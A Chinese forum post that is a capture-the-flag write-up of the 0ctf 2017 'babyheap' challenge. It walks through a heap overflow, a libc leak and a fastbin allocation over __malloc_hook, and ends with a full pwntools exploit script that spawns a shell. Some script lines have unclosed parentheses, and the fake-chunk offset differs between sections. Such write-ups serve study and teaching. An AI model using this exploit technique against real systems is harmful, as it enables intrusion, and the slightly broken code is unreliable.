首页
论坛
课程
招聘
[原创]Pwn堆利用学习——Fastbin-Arbitrary Alloc——0ctf2017-babyheap
2021-6-23 15:55 8405

[原创]Pwn堆利用学习——Fastbin-Arbitrary Alloc——0ctf2017-babyheap

2021-6-23 15:55
8405

Alloc to Stack在将chunk分配到栈上时需要栈上对应位置有合法的size,这样才能将堆内存分配到栈中,从而控制栈中的任意内存地址。而Arbitrary Alloc和Alloc to Stack基本上完全相同,但是控制的内存地址不在仅仅局限于栈,而是任意的内存地址,比如说bss、heap、data、stack等等。

0ctf_2017_babyheap

实验环境:

  • OS:Ubuntu16.04 x64
  • libc:libc.2-23.so(md5:b0097c8a9284b03b412ff171c3d3c9cc)

步骤一:运行查看

image.png

步骤二:查看文件类型和保护机制

  • 64位程序
  • 保护全开
1
2
3
4
5
$ file 0ctf2017babyheap
0ctf2017babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped
$ checksec --file=0ctf2017babyheap
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols     FORTIFY Fortified   Fortifiable FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols    No    0       2       0ctf2017babyheap

步骤三:IDA反编译分析

a. main

​ 为方便理解,根据菜单函数把switch里面的函数改名,然后根据函数内容及函数功能将相应的函数和变量改名:

    • sub_B70:initial,进行初始化,利用mmap分配空间,然后返回一个地址。这个空间用来存放结构体(这个结论我是在分析完两个函数:initial和add 之后得到的)。
    • sub_CF4:menu,打印菜单
    • sub_138C:input_number,输入数字
    • V4:babys结构体(既然题目是babyheap,我这里就把它命名为babys)

image.png

b. main->initial

初始化,返回结构体初始地址

 

image

c. main->Allocate

image.png

  • 最多16个结构体,根据分析可得到结构体baby结构如下:
1
2
3
4
5
struct baby{
  __int64 flag;
  __int64 size;
  char *content;
}
  • 当某个baby结构体的flag为false时,才会进行添加。

  • calloc与malloc的区别:calloc会设置分配的内存为0。

  • 结构如下图所示,将每个baby对应的chunk命名为babychunk

    image-20210622150532385

d. main->Fill

image.png

e. main->Fill->read_content

这个size可以随意大,存在堆溢出漏洞。

 

image-20210622172744443

f. main->Free

image-20210622172339342

g. main->Dump

image.png

h. main->Dump->write_content

image

i. 小结

  • 漏洞点:

    • Fill函数调用read_content函数,这里的输入size是可以控制的,所以这里存在堆溢出漏洞
  • 可输入的点:

    • 输入菜单选项
    • Allocate和Fill需要输入size
    • Fill输入baby chunk的内容
  • 大概思路:

    • 用arbitrary alloc,将chunk分配到__malloc_hook附近,使得__malloc_hook在chunk的user data部分,那么通过Fill选项就能将其覆盖为rop链的地址了,最后再调用一个malloc就能执行rop链以getshell

    • 1.泄漏libc基址,为了覆盖__malloc_hook为rop链的地址

      • 要覆盖__malloc_hook的内容,那么需要得到__malloc_hook的地址。因为它在libc中,所以需要知道libc的基址,又因为开启了aslr,所以libc的基址是变化的。
      • 泄漏libc基址的方法就是通过unsortedbin。unsortedbin是一个双链表,里面如果只有一个chunk,那么chunk的fd和bk都指向unsortedbin链表头。链表头的地址为&main_arena+88,那么就可以计算出&main_arena,又因为&main_arena与libc基址的偏移是固定的,那么就可以计算出libc的基址。
      • 泄漏的原理理清了,那么怎么泄漏?
        • malloc一个smallbin chunk,然后free,它就会释放到unsortedbin中,那么它的fd和bk就会变成&main_arena+88。再通过Dump选项进行打印。于是,为了能够打印就需要有另一个baby结构体的content指针指向这个smallbin chunk。
        • 需要注意的一点就是在free smallbin chunk之前需要再malloc一个chunk,目的是防止smallbin chunk在free的时候和top chunk合并。
    • 2.arbitrary alloc,分配chunk在__malloc_hook处

      • 需要绕过对size的检查,而__malloc_hook附近肯定会有0x7f的,通过错位,将0x7f当作伪造的chunk的size。
      • 通过one_gadget获取rop链,然后通过Fill选项覆盖__malloc_hook,最后malloc以触发执行rop链来getshell。

步骤四:调试分析

a. 模板和选项函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv
 
def ret2libc(leak, func, path=''):
        if path == '':
                libc = LibcSearcher(func, leak)
                base = leak - libc.dump(func)
                system = base + libc.dump('system')
                binsh = base + libc.dump('str_bin_sh')
        else:
                libc = ELF(path)
                base = leak - libc.sym[func]
                system = base + libc.sym['system']
                binsh = base + libc.search('/bin/sh').next()
 
        return (base, system, binsh)
 
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
context.log_level = 'DEBUG'
binary = './0ctf2017babyheap'
context.binary = binary
elf = ELF(binary,checksec=False)
#p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary)
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
 
def dbg():
        gdb.attach(p)
        pause()
 
def allocate(size):
    ru('Command: ')
    sl('1')
    ru('Size: ')
    sl(str(size))
 
def fill(idx, size, content):
    ru('Command: ')
    sl('2')
    ru('Index: ')
    sl(str(idx))
    ru('Size: ')
    sl(str(size))
    ru('Content: ')
    s(content)
 
def free(idx):
    ru('Command: ')
    sl('3')
    ru('Index: ')
    sl(str(idx))
 
def dump(idx):
    ru('Command: ')
    sl('4')
    ru('Index: ')
    sl(str(idx))
 
p.interactive()

b. leak libc

完整的过程如下gif所示,每个步骤的变化都通过颜色改变来体现。

 

babyheap2017

 

1) malloc 4个fastbin的chunk、1个smallbin的chunk,然后依次free babychunk2和babychunk1。

 

于是,fastbin中变为了fastbin[0] -> babychunk1 -> babychunk2 <- 0x0,而babys结构体数组中baby1和baby2的flag和size都被置为0,content指针也被置为NULL。

64位程序fastbin的chunk大小为0x20-0x80

1
2
3
4
5
6
7
8
9
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80) # small bin
 
free(2)
free(1)
dbg()

image-20210622141014888

 

2)分别往babychunk0和babychunk3填充数据。

  • 对于babychunk0,首先填充完它自己的user data部分,然后填充babychunk1使得babychunk1的fd指针的最后一字节变成0x80,也就是使得babychunk4取代babychunk2在fastbin里的位置。
  • 对于babychunk3,首先填充完它自己的user data部分,然后填充babychunk4,使得babychunk4的size变成0x20。
1
2
3
4
5
payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)
fill(0, len(payload), payload)
payload = 0x10 * 'a' + p64(0) + p64(0x21)
fill(3, len(payload), payload)
dbg()

image-20210622141406413

 

3)将之前置为空的两个baby结构体baby1和baby2重新填充数据,并分配两个0x10大小的babychunk。

  • baby1的content指针指向babychunk1;
  • 由于此时在fastbin中babychunk1后的是babychunk4,同时babychunk4的size也被修改为了0x10,所以baby2的content指针指向babychunk4。
1
2
3
allocate(0x10)
allocate(0x10
dbg()

image-20210622143702653

 

4)溢出填充babychunk3,将babychunk4的size覆盖回0x90。

1
2
3
payload = 0x10 * 'a' + p64(0) + p64(0x91)
fill(3, len(payload), payload)
dbg()

image-20210622145855474

 

5)分配一个新的0x90大小的babychunk5,目的是为了防止紧接着free的babychunk4和top chunk合并。然后free babychunk4使得babychun4进入unsortedbin,此时babychunk4的fd和bk都指向(main_arena+88)。

1
2
3
allocate(0x80
free(4)
dbg()

image-20210622150237168

 

6)利用dump选项泄漏babychunk4的fd(main_arena+88),计算libc基址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def offset_bin_main_arena(idx):
    word_bytes = context.word_size / 8
    offset = 4  # lock
    offset += 4  # flags
    offset += word_bytes * 10  # offset fastbin
    offset += word_bytes * 2  # top,last_remainder
    offset += idx * 2 * word_bytes  # idx
    offset -= word_bytes * 2  # bin overlap
    return offset
 
dump(2)
ru('Content: \n')
unsortedbin_addr = u64(r(8))
offset_unsortedbin_main_arena = offset_bin_main_arena(0)
main_arena = unsortedbin_addr - offset_unsortedbin_main_arena
leak('main arena addr', main_arena)
main_arena_offset = 0x3c4b20
libc_base = main_arena - main_arena_offset
leak('libc base addr', libc_base)
dbg()

image-20210622195719265

以前遇到要查看距离libc基址偏移的情况,我是和看雪-mb_uvhwamsn-babyheap一样用ida去查看,但是从看雪-yichen115-babyheap看到一个计算main_arena距离libc偏移的工具:https://github.com/bash-c/main_arena_offset。

image-20210622195953244

c. Fasten attack - arbitrary alloc

接下来是想办法将chunk分配到__malloc_hook附近,使得__malloc_hook在chunk的user data里,从而可以通过Fill选项将其修改为rop链的地址。

 

1)首先查看__malloc_hook附近的情况。

 

如文章开头所说,arbitrary alloc需要在要分配chunk的地方提前有合适的size,因为从fastbin里malloc一个chunk的时候会检查这个chunk的size是否符合大小要求。可以看到__malloc_hook附近有一些0x7f,如果能够通过错位让0x7f变成 size 的话就能通过检查,对应的user data大小为0x60。

根据chunk的size计算其在fastbin数组中index的宏如下所示:

#define fastbin_index(sz) ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

那么,64位程序:0x7f/16-2=5。所以0x7f对应的fastbin单链表要求的size为0x70,user data部分的size为0x60。

 

image-20210622211429015

 

2)在fastbin中准备一个0x70大小的chunk,以修改其fd。

  • allocate(0x60)会重新启动baby4,并malloc一个0x70大小的chunk。malloc的时候会将unsortedbin里0x90大小的chunk分为两部分:0x70和0x20,然后将0x70大小的chunk分配给baby4的content指针。

  • free(4)又会清空baby4并free刚刚malloc的0x70大小的chunk,但是由于0x70是fastbin的大小范围内,所以此时是将其放到fastbin中去了。

1
2
3
allocate(0x60)
free(4)
dbg()

image-20210622221216586

 

此时各个部分的情况如下图所示:

 

image-20210623094002249

 

3)确定要在__malloc_hook附近分配的chunk的地址:&main_arena-0x2b-0x8

 

image-20210623092303510

 

4)由于此时baby2的content指针还指向babychunk4(这个地址也是分割free之后放在fastbin里的chunk的地址),因此通过Fill(2)可往这个0x70大小的chunk的fd填充&main_arena-0x2b-0x8。然后再进行两次allocate(0x60),就可以将chunk分配到我们想要的&main_arena-0x2b-0x8。

1
2
3
4
5
6
7
fake_chunk_addr = main_arena - 0x2b
fake_chunk = p64(fake_chunk_addr)
fill(2, len(fake_chunk), fake_chunk)
 
allocate(0x60
allocate(0x60)
dbg()

image-20210623100238234

 

5)利用one_gadget工具找一个rop链

一段时间没用one_gadget,发现报错:( ,undefined method 'unpack1' ,解决方法:https://bbs.pediy.com/thread-265011.htm

另:用ruby-install 安装ruby2.6时,总是报错,然后我用proxychains4走主机的代理进行安装,可还是报错,但是此时已经下载了相关文件,接着不走代理重新执行一遍安装命令就安装成功了。

 

image-20210623105400210

 

6)将__malloc_hook修改为rop链,并触发__malloc_hook函数。

one_gadget的地址需要一个一个试一下,当前环境是第二个地址成功了。

1
2
3
4
5
one_gadget_addr = libc_base + 0x4527a
payload = 0x13 * 'a' + p64(one_gadget_addr)
fill(6, len(payload), payload)
 
allocate(0x100)

image-20210623110301689

步骤五:完整Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv
 
def ret2libc(leak, func, path=''):
        if path == '':
                libc = LibcSearcher(func, leak)
                base = leak - libc.dump(func)
                system = base + libc.dump('system')
                binsh = base + libc.dump('str_bin_sh')
        else:
                libc = ELF(path)
                base = leak - libc.sym[func]
                system = base + libc.sym['system']
                binsh = base + libc.search('/bin/sh').next()
 
        return (base, system, binsh)
 
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
context.log_level = 'DEBUG'
binary = './0ctf2017babyheap'
context.binary = binary
elf = ELF(binary,checksec=False)
#p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary)
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
 
def dbg():
        gdb.attach(p)
        pause()
 
def allocate(size):
    ru('Command: ')
    sl('1')
    ru('Size: ')
    sl(str(size))
 
def fill(idx, size, content):
    ru('Command: ')
    sl('2')
    ru('Index: ')
    sl(str(idx))
    ru('Size: ')
    sl(str(size))
    ru('Content: ')
    s(content)
 
def free(idx):
    ru('Command: ')
    sl('3')
    ru('Index: ')
    sl(str(idx))
 
def dump(idx):
    ru('Command: ')
    sl('4')
    ru('Index: ')
    sl(str(idx))
 
def offset_bin_main_arena(idx):
    word_bytes = context.word_size / 8
    offset = 4  # lock
    offset += 4  # flags
    offset += word_bytes * 10  # offset fastbin
    offset += word_bytes * 2  # top,last_remainder
    offset += idx * 2 * word_bytes  # idx
    offset -= word_bytes * 2  # bin overlap
    return offset
 
 
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80) # small bin
 
free(2)
free(1)
#dbg()
 
payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)
fill(0, len(payload), payload)
payload = 0x10 * 'a' + p64(0) + p64(0x21)
fill(3, len(payload), payload)
#dbg()
 
allocate(0x10)
allocate(0x10
#dbg()
 
payload = 0x10 * 'a' + p64(0) + p64(0x91)
fill(3, len(payload), payload)
#dbg()
 
allocate(0x80
free(4)
#dbg()
 
dump(2)
ru('Content: \n')
unsortedbin_addr = u64(r(8))
offset_unsortedbin_main_arena = offset_bin_main_arena(0)
main_arena = unsortedbin_addr - offset_unsortedbin_main_arena
leak('main arena addr', main_arena)
main_arena_offset = 0x3c4b20
libc_base = main_arena - main_arena_offset
leak('libc base addr', libc_base)
#dbg()
 
allocate(0x60)
free(4)
#dbg()
 
fake_chunk_addr = main_arena - 0x2b -0x8
fake_chunk = p64(fake_chunk_addr)
fill(2, len(fake_chunk), fake_chunk)
allocate(0x60)
#dbg()
allocate(0x60)
#dbg()
one_gadget_addr = libc_base + 0x4527a
payload = 0x13 * 'a' + p64(one_gadget_addr)
fill(6, len(payload), payload)
 
allocate(0x100)
 
p.interactive()

参考文献


第五届安全开发者峰会(SDC 2021)10月23日上海召开!限时2.5折门票(含自助午餐1份)

最后于 2021-6-24 15:49 被直木编辑 ,原因: 不知为什么gif变得不完整,重新编辑
上传的附件:
收藏
点赞2
打赏
分享
最新回复 (3)
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
jiejiee 活跃值 2021-7-3 20:26
2
0

 这个动画做的好,请问怎么做的?


雪    币: 9183
活跃值: 活跃值 (4210)
能力值: ( LV9,RANK:270 )
在线值:
发帖
回帖
粉丝
直木 活跃值 4 2021-7-4 10:28
3
0
jiejiee &nbsp;这个动画做的好,请问怎么做的?
keynote导出为gif
雪    币: 9919
活跃值: 活跃值 (11644)
能力值: (RANK:650 )
在线值:
发帖
回帖
粉丝
ScUpax0s 活跃值 11 2021-7-4 14:48
4
0
支持
游客
登录 | 注册 方可回帖
返回